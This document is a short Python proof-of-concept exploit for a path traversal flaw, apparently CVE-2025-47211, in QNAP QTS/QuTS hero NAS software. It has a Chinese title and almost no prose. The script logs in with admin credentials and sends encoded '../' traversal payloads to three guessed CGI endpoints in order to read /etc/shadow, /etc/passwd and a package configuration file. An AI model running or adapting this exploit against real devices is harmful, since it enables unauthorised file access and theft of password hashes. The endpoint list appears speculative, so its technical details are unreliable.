CVE-2025-47211：QNAP QTS/QuTS hero 路径遍历漏洞

# CVE-2025-47211 - QNAP QTS/QuTS hero Path Traversal PoC # Note: This vulnerability requires admin privileges (PR:H) # Tested against QTS versions prior to 5.2.6.3195 build 20250715 import requests from urllib.parse import quote TARGET_HOST = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def exploit_path_traversal(session, target_file): """ Exploit path traversal to read arbitrary files on QNAP NAS. The traversal sequence bypasses directory restrictions in file access endpoints. """ # Craft traversal payload - encode ../ sequences traversal_payload = "../../../" * 10 + target_file.lstrip("/") encoded_payload = quote(traversal_payload, safe="") # Common vulnerable endpoints in QNAP QTS/QuTS hero endpoints = [ f"/cgi-bin/filemanager/utilRequest.cgi?func=download&sid={session.sid}&path={encoded_payload}", f"/cgi-bin/QTS_Share.cgi?func=get_share_file&sid={session.sid}&file={encoded_payload}", f"/cgi-bin/management/manaRequest.cgi?func=get_file&sid={session.sid}&name={encoded_payload}", ] for endpoint in endpoints: try: url = TARGET_HOST + endpoint resp = session.get(url, verify=False, timeout=10) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] Successfully read via: {endpoint}") print(f"[+] Content preview: {resp.content[:200]}") return resp.content except Exception as e: print(f"[-] Error on {endpoint}: {e}") return None def login(session): """Authenticate as admin to obtain a session ID.""" login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" payload = { "user": ADMIN_USER, "pwd": ADMIN_PASS, "remMe": "1" } resp = session.post(login_url, data=payload, verify=False, timeout=10) # Parse SID from response if "authSid" in resp.text: session.sid = resp.text.split("authSid=")[1].split(";")[0] return True return False if __name__ == "__main__": s = requests.Session() if login(s): # Try to read sensitive files for f in ["etc/shadow", "etc/passwd", "etc/config/qpkg.conf"]: content = exploit_path_traversal(s, f) if content: print(f"\n[+] Retrieved {f}") break else: print("[-] Login failed - valid admin credentials required")